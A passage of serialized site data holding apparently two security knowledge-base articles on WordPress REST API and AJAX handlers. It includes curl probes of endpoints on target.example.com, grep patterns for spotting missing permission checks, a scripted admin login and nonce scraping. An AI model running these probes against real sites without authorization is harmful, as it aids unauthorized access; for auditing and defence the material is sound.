'rest_forbidden',\n",[36,2296,2297],{"class":38,"line":255},[36,2298,2299],{},"            'You do not have permission',\n",[36,2301,2302],{"class":38,"line":261},[36,2303,2304],{},"            ['status' => 403]\n",[36,2306,2307],{"class":38,"line":267},[36,2308,2309],{},"        );\n",[36,2311,2312],{"class":38,"line":273},[36,2313,1622],{},[36,2315,2316],{"class":38,"line":279},[36,2317,2318],{},"    return true;\n",[36,2320,2321],{"class":38,"line":285},[36,2322,323],{},[26,2324,2326],{"className":28,"code":2325,"language":30,"meta":31,"style":31},"# Check if REST API is restricted globally\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n# 200 = open, 401 = auth required, 403 = forbidden\n\n# Some plugins block the index but not individual routes\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F'\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsensitive-endpoint'\n",[33,2327,2328,2333,2350,2355,2359,2364,2381,2397],{"__ignoreMap":31},[36,2329,2330],{"class":38,"line":39},[36,2331,2332],{"class":42},"# Check if REST API is restricted globally\n",[36,2334,2335,2337,2339,2341,2343,2345,2347],{"class":38,"line":46},[36,2336,92],{"class":49},[36,2338,96],{"class":95},[36,2340,2107],{"class":95},[36,2342,2110],{"class":53},[36,2344,2113],{"class":95},[36,2346,2116],{"class":53},[36,2348,2349],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'\n",[36,2351,2352],{"class":38,"line":57},[36,2353,2354],{"class":42},"# 200 = open, 401 = auth required, 403 = forbidden\n",[36,2356,2357],{"class":38,"line":64},[36,2358,61],{"emptyLinePlaceholder":60},[36,2360,2361],{"class":38,"line":70},[36,2362,2363],{"class":42},"# Some plugins block the index but not individual routes\n",[36,2365,2366,2368,2370,2372,2374,2376,2378],{"class":38,"line":78},[36,2367,92],{"class":49},[36,2369,96],{"class":95},[36,2371,2107],{"class":95},[36,2373,2110],{"class":53},[36,2375,2113],{"class":95},[36,2377,2116],{"class":53},[36,2379,2380],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002F'\n",[36,2382,2383,2385,2387,2389,2391,2393,2395],{"class":38,"line":83},[36,2384,92],{"class":49},[36,2386,96],{"class":95},[36,2388,2107],{"class":95},[36,2390,2110],{"class":53},[36,2392,2113],{"class":95},[36,2394,2116],{"class":53},[36,2396,155],{"class":95},[36,2398,2399],{"class":38,"line":89},[36,2400,2401],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fmy-plugin\u002Fv1\u002Fsensitive-endpoint'\n",[18,2403,2405],{"id":2404},"grep-patterns-for-rest-api-audit","Grep Patterns for REST API Audit",[26,2407,2409],{"className":28,"code":2408,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# All route registrations\ngrep -rn \"register_rest_route\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# Routes with __return_true (critical)\ngrep -rn \"__return_true\" \"$PLUGIN_DIR\" --include=\"*.php\" -B5\n\n# Routes potentially missing permission_callback\ngrep -rn \"register_rest_route\" \"$PLUGIN_DIR\" --include=\"*.php\" -A 15 | \\\n  grep -v \"permission_callback\" | grep -B5 \"callback\"\n\n# Raw $wpdb queries in REST callbacks\ngrep -rn \"wpdb->\" \"$PLUGIN_DIR\" --include=\"*.php\" -B5 | grep -B5 \"get_param\\|get_json\"\n\n# Request parameters used directly\ngrep -rn \"get_param\\|get_json_params\\|get_body\" \"$PLUGIN_DIR\" --include=\"*.php\" -A3\n\n# REST API authentication bypasses via is_user_logged_in (not capability check)\ngrep -rn \"is_user_logged_in\\(\\)\" \"$PLUGIN_DIR\" --include=\"*.php\" -B5 | \\\n  grep \"permission_callback\"\n",[33,2410,2411,2421,2425,2430,2449,2453,2458,2479,2483,2488,2516,2534,2538,2543,2573,2577,2582,2604,2608,2613,2638],{"__ignoreMap":31},[36,2412,2413,2416,2418],{"class":38,"line":39},[36,2414,2415],{"class":605},"PLUGIN_DIR",[36,2417,1220],{"class":102},[36,2419,2420],{"class":53},"\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n",[36,2422,2423],{"class":38,"line":46},[36,2424,61],{"emptyLinePlaceholder":60},[36,2426,2427],{"class":38,"line":57},[36,2428,2429],{"class":42},"# All route registrations\n",[36,2431,2432,2434,2436,2438,2440,2443,2445,2447],{"class":38,"line":64},[36,2433,490],{"class":49},[36,2435,493],{"class":95},[36,2437,533],{"class":53},[36,2439,625],{"class":53},[36,2441,2442],{"class":605},"$PLUGIN_DIR",[36,2444,631],{"class":53},[36,2446,502],{"class":95},[36,2448,505],{"class":53},[36,2450,2451],{"class":38,"line":70},[36,2452,61],{"emptyLinePlaceholder":60},[36,2454,2455],{"class":38,"line":78},[36,2456,2457],{"class":42},"# Routes with __return_true (critical)\n",[36,2459,2460,2462,2464,2466,2468,2470,2472,2474,2476],{"class":38,"line":83},[36,2461,490],{"class":49},[36,2463,493],{"class":95},[36,2465,496],{"class":53},[36,2467,625],{"class":53},[36,2469,2442],{"class":605},[36,2471,631],{"class":53},[36,2473,502],{"class":95},[36,2475,540],{"class":53},[36,2477,2478],{"class":95}," -B5\n",[36,2480,2481],{"class":38,"line":89},[36,2482,61],{"emptyLinePlaceholder":60},[36,2484,2485],{"class":38,"line":115},[36,2486,2487],{"class":42},"# Routes potentially missing permission_callback\n",[36,2489,2490,2492,2494,2496,2498,2500,2502,2504,2506,2509,2512,2514],{"class":38,"line":133},[36,2491,490],{"class":49},[36,2493,493],{"class":95},[36,2495,533],{"class":53},[36,2497,625],{"class":53},[36,2499,2442],{"class":605},[36,2501,631],{"class":53},[36,2503,502],{"class":95},[36,2505,540],{"class":53},[36,2507,2508],{"class":95}," -A",[36,2510,2511],{"class":95}," 15",[36,2513,103],{"class":102},[36,2515,155],{"class":95},[36,2517,2518,2520,2522,2524,2526,2528,2531],{"class":38,"line":138},[36,2519,552],{"class":49},[36,2521,555],{"class":95},[36,2523,644],{"class":53},[36,2525,103],{"class":102},[36,2527,617],{"class":49},[36,2529,2530],{"class":95}," -B5",[36,2532,2533],{"class":53}," \"callback\"\n",[36,2535,2536],{"class":38,"line":144},[36,2537,61],{"emptyLinePlaceholder":60},[36,2539,2540],{"class":38,"line":158},[36,2541,2542],{"class":42},"# Raw $wpdb queries in REST callbacks\n",[36,2544,2545,2547,2549,2552,2554,2556,2558,2560,2562,2564,2566,2568,2570],{"class":38,"line":255},[36,2546,490],{"class":49},[36,2548,493],{"class":95},[36,2550,2551],{"class":53}," \"wpdb->\"",[36,2553,625],{"class":53},[36,2555,2442],{"class":605},[36,2557,631],{"class":53},[36,2559,502],{"class":95},[36,2561,540],{"class":53},[36,2563,2530],{"class":95},[36,2565,103],{"class":102},[36,2567,617],{"class":49},[36,2569,2530],{"class":95},[36,2571,2572],{"class":53}," \"get_param\\|get_json\"\n",[36,2574,2575],{"class":38,"line":261},[36,2576,61],{"emptyLinePlaceholder":60},[36,2578,2579],{"class":38,"line":267},[36,2580,2581],{"class":42},"# Request parameters used directly\n",[36,2583,2584,2586,2588,2591,2593,2595,2597,2599,2601],{"class":38,"line":273},[36,2585,490],{"class":49},[36,2587,493],{"class":95},[36,2589,2590],{"class":53}," \"get_param\\|get_json_params\\|get_body\"",[36,2592,625],{"class":53},[36,2594,2442],{"class":605},[36,2596,631],{"class":53},[36,2598,502],{"class":95},[36,2600,540],{"class":53},[36,2602,2603],{"class":95}," -A3\n",[36,2605,2606],{"class":38,"line":279},[36,2607,61],{"emptyLinePlaceholder":60},[36,2609,2610],{"class":38,"line":285},[36,2611,2612],{"class":42},"# REST API authentication bypasses via is_user_logged_in (not capability check)\n",[36,2614,2615,2617,2619,2622,2624,2626,2628,2630,2632,2634,2636],{"class":38,"line":291},[36,2616,490],{"class":49},[36,2618,493],{"class":95},[36,2620,2621],{"class":53}," \"is_user_logged_in\\(\\)\"",[36,2623,625],{"class":53},[36,2625,2442],{"class":605},[36,2627,631],{"class":53},[36,2629,502],{"class":95},[36,2631,540],{"class":53},[36,2633,2530],{"class":95},[36,2635,103],{"class":102},[36,2637,155],{"class":95},[36,2639,2640,2642],{"class":38,"line":297},[36,2641,552],{"class":49},[36,2643,558],{"class":53},[2645,2646,2647],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":31,"searchDepth":46,"depth":46,"links":2649},[2650,2651,2652,2654,2659,2666,2667,2668,2669,2670],{"id":20,"depth":46,"text":21},{"id":173,"depth":46,"text":174},{"id":360,"depth":46,"text":2653},"The __return_true Danger",{"id":681,"depth":46,"text":682,"children":2655},[2656,2657,2658],{"id":686,"depth":57,"text":687},{"id":768,"depth":57,"text":769},{"id":850,"depth":57,"text":851},{"id":921,"depth":46,"text":922,"children":2660},[2661,2662,2663,2664,2665],{"id":925,"depth":57,"text":926},{"id":1019,"depth":57,"text":1020},{"id":1124,"depth":57,"text":1125},{"id":1439,"depth":57,"text":1440},{"id":1548,"depth":57,"text":1549},{"id":1683,"depth":46,"text":1684},{"id":1875,"depth":46,"text":1876},{"id":2147,"depth":46,"text":2148},{"id":2223,"depth":46,"text":2224},{"id":2404,"depth":46,"text":2405},"wordpress-internals","REST API architecture, authentication methods, common vulnerabilities including missing permission callbacks, SQLi, and IDOR","md",{},"\u002Fknowledge-base\u002Fwordpress-rest-api-security",{"title":5,"description":2672},"knowledge-base\u002Fwordpress-rest-api-security","GxeZtLtVVwlSqAIRNMRa_vtrghJW6eH9UEYvsmxIo6g",[2680,4841,7432,9621,12959,15467,17967,20233,23240,26537],{"id":2681,"title":2682,"body":2683,"category":2671,"description":4835,"extension":2673,"meta":4836,"navigation":60,"order":39,"path":4837,"seo":4838,"stem":4839,"__hash__":4840},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-ajax-hooks-and-security.md","WordPress AJAX Hooks and Security",{"type":7,"value":2684,"toc":4811},[2685,2688,2691,2695,2702,2705,2744,2749,2792,2799,2803,2809,2861,2871,2875,2878,3011,3014,3178,3182,3186,3248,3252,3255,3339,3343,3346,3421,3425,3429,3440,3493,3496,3527,3531,3583,3586,3589,3626,3630,3633,3681,3685,3750,3753,3862,3866,3913,3917,3983,3987,4001,4037,4040,4145,4149,4152,4205,4208,4241,4245,4248,4435,4439,4528,4534,4538,4544,4571,4682,4686,4689,4731,4808],[10,2686,2682],{"id":2687},"wordpress-ajax-hooks-and-security",[14,2689,2690],{},"WordPress AJAX is one of the most common attack surfaces in plugins and themes. The admin-ajax.php endpoint handles all AJAX requests and routes them to registered handlers. Misconfigured handlers are responsible for a large percentage of high-severity WordPress CVEs.",[18,2692,2694],{"id":2693},"how-admin-ajaxphp-works","How admin-ajax.php Works",[14,2696,2697,2698,2701],{},"All AJAX requests pass through ",[33,2699,2700],{},"wp\u002Fwp-admin\u002Fadmin-ajax.php",". The file bootstraps WordPress, determines the current action, and dispatches to the registered handler.",[14,2703,2704],{},"The flow:",[2706,2707,2708,2719,2726,2732,2735],"ol",{},[2709,2710,2711,2712,2715,2716],"li",{},"Request arrives at ",[33,2713,2714],{},"admin-ajax.php"," with a POST parameter ",[33,2717,2718],{},"action",[2709,2720,2721,2722,2725],{},"WordPress fires ",[33,2723,2724],{},"wp_ajax_{action}"," for authenticated users (checked via cookie or Authorization header)",[2709,2727,2721,2728,2731],{},[33,2729,2730],{},"wp_ajax_nopriv_{action}"," for unauthenticated users",[2709,2733,2734],{},"Both hooks fire in sequence if the plugin registers both",[2709,2736,2737,2738,1822,2741],{},"If no handler is found, WordPress returns ",[33,2739,2740],{},"0",[33,2742,2743],{},"-1",[14,2745,2746,2747,375],{},"The relevant code in ",[33,2748,2714],{},[26,2750,2752],{"className":177,"code":2751,"language":179,"meta":31,"style":31},"\u002F\u002F Simplified from wp-admin\u002Fadmin-ajax.php\n$action = $_REQUEST['action'];\n\nif ( is_user_logged_in() ) {\n    do_action( 'wp_ajax_' . $action );\n} else {\n    do_action( 'wp_ajax_nopriv_' . $action );\n}\n",[33,2753,2754,2759,2764,2768,2773,2778,2783,2788],{"__ignoreMap":31},[36,2755,2756],{"class":38,"line":39},[36,2757,2758],{},"\u002F\u002F Simplified from wp-admin\u002Fadmin-ajax.php\n",[36,2760,2761],{"class":38,"line":46},[36,2762,2763],{},"$action = $_REQUEST['action'];\n",[36,2765,2766],{"class":38,"line":57},[36,2767,61],{"emptyLinePlaceholder":60},[36,2769,2770],{"class":38,"line":64},[36,2771,2772],{},"if ( is_user_logged_in() ) {\n",[36,2774,2775],{"class":38,"line":70},[36,2776,2777],{},"    do_action( 'wp_ajax_' . $action );\n",[36,2779,2780],{"class":38,"line":78},[36,2781,2782],{},"} else {\n",[36,2784,2785],{"class":38,"line":83},[36,2786,2787],{},"    do_action( 'wp_ajax_nopriv_' . $action );\n",[36,2789,2790],{"class":38,"line":89},[36,2791,323],{},[14,2793,2794,2795,2798],{},"The key insight: WordPress does not validate or sanitize ",[33,2796,2797],{},"$action"," before appending it to the hook name. The action value directly controls which hook fires.",[18,2800,2802],{"id":2801},"registering-ajax-handlers","Registering AJAX Handlers",[14,2804,2805,2806,375],{},"Plugins register handlers using ",[33,2807,2808],{},"add_action",[26,2810,2812],{"className":177,"code":2811,"language":179,"meta":31,"style":31},"\u002F\u002F Handler available to logged-in users only\nadd_action( 'wp_ajax_my_plugin_action', 'my_plugin_handle_ajax' );\n\n\u002F\u002F Handler available to everyone including unauthenticated users\nadd_action( 'wp_ajax_nopriv_my_plugin_action', 'my_plugin_handle_ajax' );\n\nfunction my_plugin_handle_ajax() {\n    \u002F\u002F Handle request\n    wp_die();\n}\n",[33,2813,2814,2819,2824,2828,2833,2838,2842,2847,2852,2857],{"__ignoreMap":31},[36,2815,2816],{"class":38,"line":39},[36,2817,2818],{},"\u002F\u002F Handler available to logged-in users only\n",[36,2820,2821],{"class":38,"line":46},[36,2822,2823],{},"add_action( 'wp_ajax_my_plugin_action', 'my_plugin_handle_ajax' );\n",[36,2825,2826],{"class":38,"line":57},[36,2827,61],{"emptyLinePlaceholder":60},[36,2829,2830],{"class":38,"line":64},[36,2831,2832],{},"\u002F\u002F Handler available to everyone including unauthenticated users\n",[36,2834,2835],{"class":38,"line":70},[36,2836,2837],{},"add_action( 'wp_ajax_nopriv_my_plugin_action', 'my_plugin_handle_ajax' );\n",[36,2839,2840],{"class":38,"line":78},[36,2841,61],{"emptyLinePlaceholder":60},[36,2843,2844],{"class":38,"line":83},[36,2845,2846],{},"function my_plugin_handle_ajax() {\n",[36,2848,2849],{"class":38,"line":89},[36,2850,2851],{},"    \u002F\u002F Handle request\n",[36,2853,2854],{"class":38,"line":115},[36,2855,2856],{},"    wp_die();\n",[36,2858,2859],{"class":38,"line":133},[36,2860,323],{},[14,2862,2863,2864,2867,2868,2870],{},"Handlers MUST call ",[33,2865,2866],{},"wp_die()"," at the end. Without it, WordPress appends a ",[33,2869,2740],{}," to the response, which can sometimes interfere with JSON parsing but is not itself a vulnerability.",[18,2872,2874],{"id":2873},"finding-ajax-handlers-with-grep","Finding AJAX Handlers with Grep",[14,2876,2877],{},"The most direct way to enumerate all registered AJAX actions in a plugin or theme:",[26,2879,2881],{"className":28,"code":2880,"language":30,"meta":31,"style":31},"# Find all wp_ajax_ and wp_ajax_nopriv_ registrations\ngrep -r \"wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n\n\n# Find only nopriv handlers (accessible without login)\ngrep -r \"wp_ajax_nopriv_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n\n\n# Find the actual handler function names\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F --include=\"*.php\" -n\n\n# Extract action names from registrations\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_nopriv_([^'\\\"]+)\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F \\\n  --include=\"*.php\" -oP \"wp_ajax_nopriv_\\K[^'\\\"]+\"\n",[33,2882,2883,2888,2907,2911,2916,2933,2937,2942,2964,2968,2973,2995],{"__ignoreMap":31},[36,2884,2885],{"class":38,"line":39},[36,2886,2887],{"class":42},"# Find all wp_ajax_ and wp_ajax_nopriv_ registrations\n",[36,2889,2890,2892,2895,2898,2900,2902,2904],{"class":38,"line":46},[36,2891,490],{"class":49},[36,2893,2894],{"class":95}," -r",[36,2896,2897],{"class":53}," \"wp_ajax_\"",[36,2899,499],{"class":53},[36,2901,502],{"class":95},[36,2903,540],{"class":53},[36,2905,2906],{"class":95}," -n\n",[36,2908,2909],{"class":38,"line":57},[36,2910,61],{"emptyLinePlaceholder":60},[36,2912,2913],{"class":38,"line":64},[36,2914,2915],{"class":42},"# Find only nopriv handlers (accessible without login)\n",[36,2917,2918,2920,2922,2925,2927,2929,2931],{"class":38,"line":70},[36,2919,490],{"class":49},[36,2921,2894],{"class":95},[36,2923,2924],{"class":53}," \"wp_ajax_nopriv_\"",[36,2926,499],{"class":53},[36,2928,502],{"class":95},[36,2930,540],{"class":53},[36,2932,2906],{"class":95},[36,2934,2935],{"class":38,"line":78},[36,2936,61],{"emptyLinePlaceholder":60},[36,2938,2939],{"class":38,"line":83},[36,2940,2941],{"class":42},"# Find the actual handler function names\n",[36,2943,2944,2946,2948,2951,2953,2956,2958,2960,2962],{"class":38,"line":89},[36,2945,490],{"class":49},[36,2947,574],{"class":95},[36,2949,2950],{"class":53}," \"add_action\\s*\\(\\s*['",[36,2952,1498],{"class":95},[36,2954,2955],{"class":53},"]wp_ajax_\"",[36,2957,499],{"class":53},[36,2959,502],{"class":95},[36,2961,540],{"class":53},[36,2963,2906],{"class":95},[36,2965,2966],{"class":38,"line":115},[36,2967,61],{"emptyLinePlaceholder":60},[36,2969,2970],{"class":38,"line":133},[36,2971,2972],{"class":42},"# Extract action names from registrations\n",[36,2974,2975,2977,2979,2981,2983,2986,2988,2991,2993],{"class":38,"line":138},[36,2976,490],{"class":49},[36,2978,574],{"class":95},[36,2980,2950],{"class":53},[36,2982,1498],{"class":95},[36,2984,2985],{"class":53},"]wp_ajax_nopriv_([^'",[36,2987,1498],{"class":95},[36,2989,2990],{"class":53},"]+)\"",[36,2992,499],{"class":53},[36,2994,155],{"class":95},[36,2996,2997,2999,3001,3003,3006,3008],{"class":38,"line":144},[36,2998,586],{"class":95},[36,3000,540],{"class":53},[36,3002,726],{"class":95},[36,3004,3005],{"class":53}," \"wp_ajax_nopriv_\\K[^'",[36,3007,1498],{"class":95},[36,3009,3010],{"class":53},"]+\"\n",[14,3012,3013],{},"For a specific plugin:",[26,3015,3017],{"className":28,"code":3016,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fvulnerable-plugin\"\n\n# All AJAX actions\ngrep -r \"wp_ajax\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Handler functions - find where they're defined\nHANDLERS=$(grep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_[^'\\\"]+['\\\"],\\s*['\\\"]?\\K[^'\\\")\\s]+\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -oP)\n\n# For each handler, find its definition\nfor handler in $HANDLERS; do\n    grep -rn \"function $handler\" \"$PLUGIN_DIR\" --include=\"*.php\"\ndone\n",[33,3018,3019,3028,3032,3037,3058,3062,3067,3109,3126,3130,3135,3149,3174],{"__ignoreMap":31},[36,3020,3021,3023,3025],{"class":38,"line":39},[36,3022,2415],{"class":605},[36,3024,1220],{"class":102},[36,3026,3027],{"class":53},"\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fvulnerable-plugin\"\n",[36,3029,3030],{"class":38,"line":46},[36,3031,61],{"emptyLinePlaceholder":60},[36,3033,3034],{"class":38,"line":57},[36,3035,3036],{"class":42},"# All AJAX actions\n",[36,3038,3039,3041,3043,3046,3048,3050,3052,3054,3056],{"class":38,"line":64},[36,3040,490],{"class":49},[36,3042,2894],{"class":95},[36,3044,3045],{"class":53}," \"wp_ajax\"",[36,3047,625],{"class":53},[36,3049,2442],{"class":605},[36,3051,631],{"class":53},[36,3053,502],{"class":95},[36,3055,540],{"class":53},[36,3057,2906],{"class":95},[36,3059,3060],{"class":38,"line":70},[36,3061,61],{"emptyLinePlaceholder":60},[36,3063,3064],{"class":38,"line":78},[36,3065,3066],{"class":42},"# Handler functions - find where they're defined\n",[36,3068,3069,3072,3074,3076,3078,3080,3082,3084,3087,3089,3092,3094,3097,3099,3102,3104,3107],{"class":38,"line":83},[36,3070,3071],{"class":605},"HANDLERS",[36,3073,1220],{"class":102},[36,3075,1358],{"class":605},[36,3077,490],{"class":49},[36,3079,574],{"class":95},[36,3081,2950],{"class":53},[36,3083,1498],{"class":95},[36,3085,3086],{"class":53},"]wp_ajax_[^'",[36,3088,1498],{"class":95},[36,3090,3091],{"class":53},"]+['",[36,3093,1498],{"class":95},[36,3095,3096],{"class":53},"],\\s*['",[36,3098,1498],{"class":95},[36,3100,3101],{"class":53},"]?\\K[^'",[36,3103,1498],{"class":95},[36,3105,3106],{"class":53},")\\s]+\"",[36,3108,155],{"class":95},[36,3110,3111,3114,3116,3118,3120,3122,3124],{"class":38,"line":89},[36,3112,3113],{"class":53},"  \"",[36,3115,2442],{"class":605},[36,3117,631],{"class":53},[36,3119,502],{"class":95},[36,3121,540],{"class":53},[36,3123,726],{"class":95},[36,3125,1385],{"class":605},[36,3127,3128],{"class":38,"line":115},[36,3129,61],{"emptyLinePlaceholder":60},[36,3131,3132],{"class":38,"line":133},[36,3133,3134],{"class":42},"# For each handler, find its definition\n",[36,3136,3137,3139,3142,3144,3147],{"class":38,"line":138},[36,3138,1325],{"class":102},[36,3140,3141],{"class":605}," handler ",[36,3143,1331],{"class":102},[36,3145,3146],{"class":605}," $HANDLERS; ",[36,3148,609],{"class":102},[36,3150,3151,3154,3156,3159,3162,3164,3166,3168,3170,3172],{"class":38,"line":144},[36,3152,3153],{"class":49},"    grep",[36,3155,493],{"class":95},[36,3157,3158],{"class":53}," \"function ",[36,3160,3161],{"class":605},"$handler",[36,3163,631],{"class":53},[36,3165,625],{"class":53},[36,3167,2442],{"class":605},[36,3169,631],{"class":53},[36,3171,502],{"class":95},[36,3173,505],{"class":53},[36,3175,3176],{"class":38,"line":158},[36,3177,678],{"class":102},[18,3179,3181],{"id":3180},"testing-ajax-handlers-with-curl","Testing AJAX Handlers with curl",[684,3183,3185],{"id":3184},"basic-unauthenticated-request","Basic Unauthenticated Request",[26,3187,3189],{"className":28,"code":3188,"language":30,"meta":31,"style":31},"# Test a nopriv handler\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=my_plugin_action'\n\n# With additional parameters\ncurl -s -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=my_plugin_action&param1=value1&param2=value2'\n",[33,3190,3191,3196,3211,3218,3222,3227,3241],{"__ignoreMap":31},[36,3192,3193],{"class":38,"line":39},[36,3194,3195],{"class":42},"# Test a nopriv handler\n",[36,3197,3198,3200,3202,3204,3206,3209],{"class":38,"line":46},[36,3199,92],{"class":49},[36,3201,96],{"class":95},[36,3203,792],{"class":95},[36,3205,795],{"class":53},[36,3207,3208],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php'",[36,3210,155],{"class":95},[36,3212,3213,3215],{"class":38,"line":57},[36,3214,818],{"class":95},[36,3216,3217],{"class":53}," 'action=my_plugin_action'\n",[36,3219,3220],{"class":38,"line":64},[36,3221,61],{"emptyLinePlaceholder":60},[36,3223,3224],{"class":38,"line":70},[36,3225,3226],{"class":42},"# With additional parameters\n",[36,3228,3229,3231,3233,3235,3237,3239],{"class":38,"line":78},[36,3230,92],{"class":49},[36,3232,96],{"class":95},[36,3234,792],{"class":95},[36,3236,795],{"class":53},[36,3238,3208],{"class":53},[36,3240,155],{"class":95},[36,3242,3243,3245],{"class":38,"line":83},[36,3244,818],{"class":95},[36,3246,3247],{"class":53}," 'action=my_plugin_action&param1=value1&param2=value2'\n",[684,3249,3251],{"id":3250},"authenticated-request","Authenticated Request",[14,3253,3254],{},"First, obtain a session cookie:",[26,3256,3258],{"className":28,"code":3257,"language":30,"meta":31,"style":31},"# Login and save cookie jar\ncurl -s -c \u002Ftmp\u002Fwp_cookies.txt -X POST 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php' \\\n  -d 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \\\n  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'\n\n# Use the session for AJAX requests\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=my_plugin_admin_action'\n",[33,3259,3260,3265,3284,3293,3300,3304,3309,3325,3332],{"__ignoreMap":31},[36,3261,3262],{"class":38,"line":39},[36,3263,3264],{"class":42},"# Login and save cookie jar\n",[36,3266,3267,3269,3271,3273,3275,3277,3279,3282],{"class":38,"line":46},[36,3268,92],{"class":49},[36,3270,96],{"class":95},[36,3272,164],{"class":95},[36,3274,712],{"class":53},[36,3276,792],{"class":95},[36,3278,795],{"class":53},[36,3280,3281],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-login.php'",[36,3283,155],{"class":95},[36,3285,3286,3288,3291],{"class":38,"line":57},[36,3287,818],{"class":95},[36,3289,3290],{"class":53}," 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1'",[36,3292,155],{"class":95},[36,3294,3295,3297],{"class":38,"line":64},[36,3296,755],{"class":95},[36,3298,3299],{"class":53}," 'Cookie: wordpress_test_cookie=WP+Cookie+check'\n",[36,3301,3302],{"class":38,"line":70},[36,3303,61],{"emptyLinePlaceholder":60},[36,3305,3306],{"class":38,"line":78},[36,3307,3308],{"class":42},"# Use the session for AJAX requests\n",[36,3310,3311,3313,3315,3317,3319,3321,3323],{"class":38,"line":83},[36,3312,92],{"class":49},[36,3314,96],{"class":95},[36,3316,709],{"class":95},[36,3318,712],{"class":53},[36,3320,792],{"class":95},[36,3322,795],{"class":53},[36,3324,155],{"class":95},[36,3326,3327,3330],{"class":38,"line":89},[36,3328,3329],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php'",[36,3331,155],{"class":95},[36,3333,3334,3336],{"class":38,"line":115},[36,3335,818],{"class":95},[36,3337,3338],{"class":53}," 'action=my_plugin_admin_action'\n",[684,3340,3342],{"id":3341},"testing-with-a-nonce","Testing with a Nonce",[14,3344,3345],{},"Some handlers require a nonce. Extract it from page source first:",[26,3347,3349],{"className":28,"code":3348,"language":30,"meta":31,"style":31},"# Fetch the page containing the nonce\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt 'https:\u002F\u002Ftarget.example.com\u002Fsome-page\u002F' \\\n  | grep -oP 'nonce[\"\\s:]+\\K[a-f0-9]{10}'\n\n# Use the extracted nonce\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -d 'action=my_plugin_action&nonce=EXTRACTED_NONCE&data=payload'\n",[33,3350,3351,3356,3371,3383,3387,3392,3408,3414],{"__ignoreMap":31},[36,3352,3353],{"class":38,"line":39},[36,3354,3355],{"class":42},"# Fetch the page containing the 